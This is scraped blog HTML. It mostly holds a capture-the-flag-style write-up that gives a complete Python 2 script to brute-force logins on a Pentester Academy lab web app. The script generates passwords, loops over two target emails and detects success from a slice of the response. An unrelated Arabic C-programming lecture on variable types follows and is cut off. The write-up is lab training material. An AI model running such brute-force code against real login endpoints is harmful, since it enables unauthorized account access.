<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
request <span class="sy0" style="color: #66cc66;">=</span> <span class="kw3" style="color: crimson;">urllib2</span>.<span class="me1">Request</span><span class="br0">(</span>url<span class="br0">)</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
response <span class="sy0" style="color: #66cc66;">=</span> <span class="kw3" style="color: crimson;">urllib2</span>.<span class="me1">urlopen</span><span class="br0">(</span>request<span class="br0">)</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
back <span class="sy0" style="color: #66cc66;">=</span> response.<span class="me1">read</span><span class="br0">(</span><span class="br0">)</span><span class="br0">[</span><span class="nu0" style="color: orangered;">2486</span>:<span class="nu0" style="color: orangered;">2492</span><span class="br0">]</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
<br />
<span style="color: red;"><b>Attention : for the line </b></span><br />
<div dir="ltr">
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
back <span class="sy0" style="color: #66cc66;">=</span> response.<span class="me1">read</span><span class="br0">(</span><span class="br0">)</span><span class="br0">[</span><span class="nu0" style="color: orangered;">2486</span>:<span class="nu0" style="color: orangered;">2492</span><span class="br0">]</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr">
</div>
</div>
<div dir="ltr" style="text-align: left;">
when u get the response you need to specify the line which tells you if the password is right or incorrect<br />
<br />
if you tried to put<br />
<br />
<div dir="ltr" style="-webkit-text-stroke-width: 0px; color: black; font-family: 'Times New Roman'; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
</div>
<br />
<div dir="ltr" style="-webkit-text-stroke-width: 0px; color: black; font-family: 'Times New Roman'; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px; text-align: left;">
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
back <span class="sy0" style="color: #66cc66;">=</span> response.<span class="me1">read</span><span class="br0">(</span><span class="br0">)</span></div>
<div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="br0"></span><br />
<blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;">
<span class="br0"><span class="br0"></span></span><br />
<blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;">
<span class="br0"><span class="br0"><span class="br0"> print back</span></span></span></blockquote>
<span class="br0"><span class="br0">
</span></span></blockquote>
<span class="br0">
</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
</div>
<div dir="ltr" style="text-align: left;">
<br />
<br /></div>
<div dir="ltr" style="text-align: left;">
the output will be the whole page :<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-aKQGlH_QUkE/Um_Qozh6-pI/AAAAAAAAAiI/EHKIQpDnNds/s1600/Screenshot+from+2013-10-29+17:12:18.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-aKQGlH_QUkE/Um_Qozh6-pI/AAAAAAAAAiI/EHKIQpDnNds/s1600/Screenshot+from+2013-10-29+17:12:18.png" /></a></div>
<br /></div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
So , we need to split it from the char <span style="background-color: white; color: orangered; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;">2486 to </span><span style="background-color: white; color: orangered; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px;">2492 and it's the word "failed" . </span></div>
<div dir="ltr" style="text-align: left;">
we'll check if every output from the page is failed or not<br />
<br />
<ol style="background-color: #f8f8f8; color: #acacac; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">print</span> back</div>
<div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">if</span><span class="br0">(</span>back<span class="sy0" style="color: #66cc66;">!=</span><span class="st0" style="color: darkslateblue;">"Failed"</span><span class="br0">)</span>:</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
cprint <span class="br0">(</span><span class="st0" style="color: darkslateblue;">"Success With Username "</span> +x+ <span class="st0" style="color: darkslateblue;">"& Password "</span> + pw <span class="sy0" style="color: #66cc66;">,</span><span class="st0" style="color: darkslateblue;">'red'</span><span class="br0">)</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"></li>
</ol>
</div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
and successfully the challenge solved ! :D<br />
<br />
here's the whole code<br />
<br />
<div id="code_frame2" style="background-color: white; border: 1px solid rgb(238, 238, 238); color: #181818; font-family: 'segoe ui', 'trebuchet MS', 'Lucida Sans Unicode', 'Lucida Sans', sans-serif; font-size: 16px; line-height: 24px; margin: 0px 0px 10px;">
<div id="code_frame" style="background-color: #f8f8f8; border: 1px solid rgb(221, 221, 221); font-size: 12px; line-height: 21px; overflow: auto; padding: 0px;">
<div id="selectable" style="font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif;">
<div class="python" style="color: #acacac;">
<ol style="margin: 0px; padding: 0px 0px 0px 48px;">
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="co1" style="color: grey; font-style: italic;">#!/usr/bin/env python</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="st0" style="color: darkslateblue;">'''</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="st0" style="color: darkslateblue;">Brute Force On Challenge 1</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="st0" style="color: darkslateblue;">Ahmed Sherif</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="st0" style="color: darkslateblue;">'''</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">import</span> <span class="kw3" style="color: crimson;">urllib2</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">import</span> <span class="kw3" style="color: crimson;">os</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">from</span> termcolor <span class="kw1" style="color: #ff7700; font-weight: bold;">import</span> cprint<span class="sy0" style="color: #66cc66;">,</span>colored</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
your_list <span class="sy0" style="color: #66cc66;">=</span> <span class="st0" style="color: darkslateblue;">'xyz'</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
complete_list <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span><span class="br0">]</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> current <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> <span class="kw2" style="color: green;">xrange</span><span class="br0">(</span><span class="nu0" style="color: orangered;">5</span><span class="br0">)</span>:</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
a <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span>i <span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> i <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> your_list<span class="br0">]</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> y <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> <span class="kw2" style="color: green;">xrange</span><span class="br0">(</span>current<span class="br0">)</span>:</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
a <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span>x+i <span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> i <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> your_list <span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> x <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> a<span class="br0">]</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
complete_list <span class="sy0" style="color: #66cc66;">=</span> complete_list+a</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw3" style="color: crimson;">chunk</span> <span class="sy0" style="color: #66cc66;">=</span> complete_list<span class="br0">[</span><span class="nu0" style="color: orangered;">120</span>:<span class="nu0" style="color: orangered;">363</span><span class="br0">]</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">print</span> <span class="kw3" style="color: crimson;">chunk</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">print</span> <span class="kw2" style="color: green;">len</span><span class="br0">(</span><span class="kw3" style="color: crimson;">chunk</span><span class="br0">)</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
f <span class="sy0" style="color: #66cc66;">=</span> <span class="kw2" style="color: green;">open</span><span class="br0">(</span><span class="st0" style="color: darkslateblue;">'myfile3.txt'</span><span class="sy0" style="color: #66cc66;">,</span> <span class="st0" style="color: darkslateblue;">'w'</span><span class="br0">)</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
username <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">[</span><span class="st0" style="color: darkslateblue;">'jack@pentesteracademy.com'</span><span class="sy0" style="color: #66cc66;">,</span><span class="st0" style="color: darkslateblue;">'admin@pentesteracademy.com'</span><span class="br0">]</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> pw <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> <span class="kw3" style="color: crimson;">chunk</span>:</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">for</span> x <span class="kw1" style="color: #ff7700; font-weight: bold;">in</span> username:</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
trying <span class="sy0" style="color: #66cc66;">=</span> <span class="st0" style="color: darkslateblue;">"Trying with Username <span class="es0" style="color: #000099; font-weight: bold;">\t</span>"</span>+ x +<span class="st0" style="color: darkslateblue;">"<span class="es0" style="color: #000099; font-weight: bold;">\t</span> password "</span>+pw + <span class="st0" style="color: darkslateblue;">"<span class="es0" style="color: #000099; font-weight: bold;">\n</span>"</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">print</span> trying</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
url <span class="sy0" style="color: #66cc66;">=</span> <span class="br0">(</span><span class="st0" style="color: darkslateblue;">'http://pentesteracademylab.appspot.com/lab/webapp/1?email='</span>+x+<span class="st0" style="color: darkslateblue;">'&password='</span>+pw<span class="br0">)</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
request <span class="sy0" style="color: #66cc66;">=</span> <span class="kw3" style="color: crimson;">urllib2</span>.<span class="me1">Request</span><span class="br0">(</span>url<span class="br0">)</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
response <span class="sy0" style="color: #66cc66;">=</span> <span class="kw3" style="color: crimson;">urllib2</span>.<span class="me1">urlopen</span><span class="br0">(</span>request<span class="br0">)</span></div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
back <span class="sy0" style="color: #66cc66;">=</span> response.<span class="me1">read</span><span class="br0">(</span><span class="br0">)</span><span class="br0">[</span><span class="nu0" style="color: orangered;">2486</span>:<span class="nu0" style="color: orangered;">2492</span><span class="br0">]</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">print</span> back</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
f.<span class="me1">write</span><span class="br0">(</span>trying + back + <span class="st0" style="color: darkslateblue;">"<span class="es0" style="color: #000099; font-weight: bold;">\n</span>"</span><span class="br0">)</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
<span class="kw1" style="color: #ff7700; font-weight: bold;">if</span><span class="br0">(</span>back<span class="sy0" style="color: #66cc66;">!=</span><span class="st0" style="color: darkslateblue;">"Failed"</span><span class="br0">)</span>:</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
cprint <span class="br0">(</span><span class="st0" style="color: darkslateblue;">"Success With Username "</span> +x+ <span class="st0" style="color: darkslateblue;">"& Password "</span> + pw <span class="sy0" style="color: #66cc66;">,</span><span class="st0" style="color: darkslateblue;">'red'</span><span class="br0">)</span></div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li2" style="-webkit-user-select: none;"><div class="de2" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
</div>
</li>
<li class="li1" style="-webkit-user-select: none;"><div class="de1" style="-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;">
f.<span class="me1">close</span><span class="br0">(</span><span class="br0">)</span></div>
</li>
</ol>
</div>
</div>
</div>
</div>
<div class="content_title" style="background-color: white; background-image: url(http://pastebin.com/i/main_sprite.jpg); background-position: -128px -272px; background-repeat: no-repeat no-repeat; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dotted; border-bottom-width: 1px; color: #333333; font-family: 'segoe ui', 'trebuchet MS', 'Lucida Sans Unicode', 'Lucida Sans', sans-serif; font-size: 16px; font-weight: 700; line-height: 24px; padding: 0px 0px 5px 22px;">
</div>
<div class="content_title" style="background-color: white; background-image: url(http://pastebin.com/i/main_sprite.jpg); background-position: -128px -272px; background-repeat: no-repeat no-repeat; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dotted; border-bottom-width: 1px; color: #333333; font-family: 'segoe ui', 'trebuchet MS', 'Lucida Sans Unicode', 'Lucida Sans', sans-serif; font-size: 16px; font-weight: 700; line-height: 24px; padding: 0px 0px 5px 22px;">
or you can download it from here </div>
<div class="content_title" style="background-color: white; background-image: url(http://pastebin.com/i/main_sprite.jpg); background-position: -128px -272px; background-repeat: no-repeat no-repeat; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dotted; border-bottom-width: 1px; color: #333333; font-family: 'segoe ui', 'trebuchet MS', 'Lucida Sans Unicode', 'Lucida Sans', sans-serif; font-size: 16px; font-weight: 700; line-height: 24px; padding: 0px 0px 5px 22px;">
<a href="http://pastebin.com/HZDaBgQs">http://pastebin.com/HZDaBgQs</a></div>
</div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
<br /></div>
<div dir="ltr" style="text-align: left;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-71223942707213720772012-06-24T18:31:00.002-07:002012-06-24T18:31:30.703-07:00Lecture 3 , Declaration and data types<div dir="rtl" style="text-align: right;" trbidi="on">
<br />
<div align="center" class="MsoNormal" style="text-align: center;">
<b><u>Variable Types
and Declaration<o:p></o:p></u></b></div>
<div align="center" class="MsoNormal" style="text-align: center;">
<br /></div>
<div align="right" class="MsoNormal">
<b><u><span dir="RTL" lang="AR-EG" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;">انواع
المتغيرات وتعريفها : <o:p></o:p></span></u></b></div>
<div align="right" class="MsoNormal">
<br /></div>
<div align="right" class="MsoNormal">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">زي ماقلت في الدرس
السابق انه بيوجد انواع كتير من التعريفات للمتغيرات وكل تعريف وله غرض ولا يمكن
استخدام تعريف خاطئ للمتغير . لانني ذكرت من قبل ان لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> بتقوم باخذ الداتا وتقوم بتعريفها للجهاز لكي
يقوم بالتعامل معها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: #ff6600; mso-bidi-language: AR-EG;">اول
تعريف : </span></b><b><span dir="LTR" style="color: #ff6600; mso-bidi-language: AR-EG;">Integer <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG">دا النوع اللي بنعرف بيه الداتا علي انها ارقام صحيحه يعني لو عايز تعرف
متغير لرقم صحيح مثلا وليكن اسمه</span></span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span> total </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal">
Int total ; <o:p></o:p></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
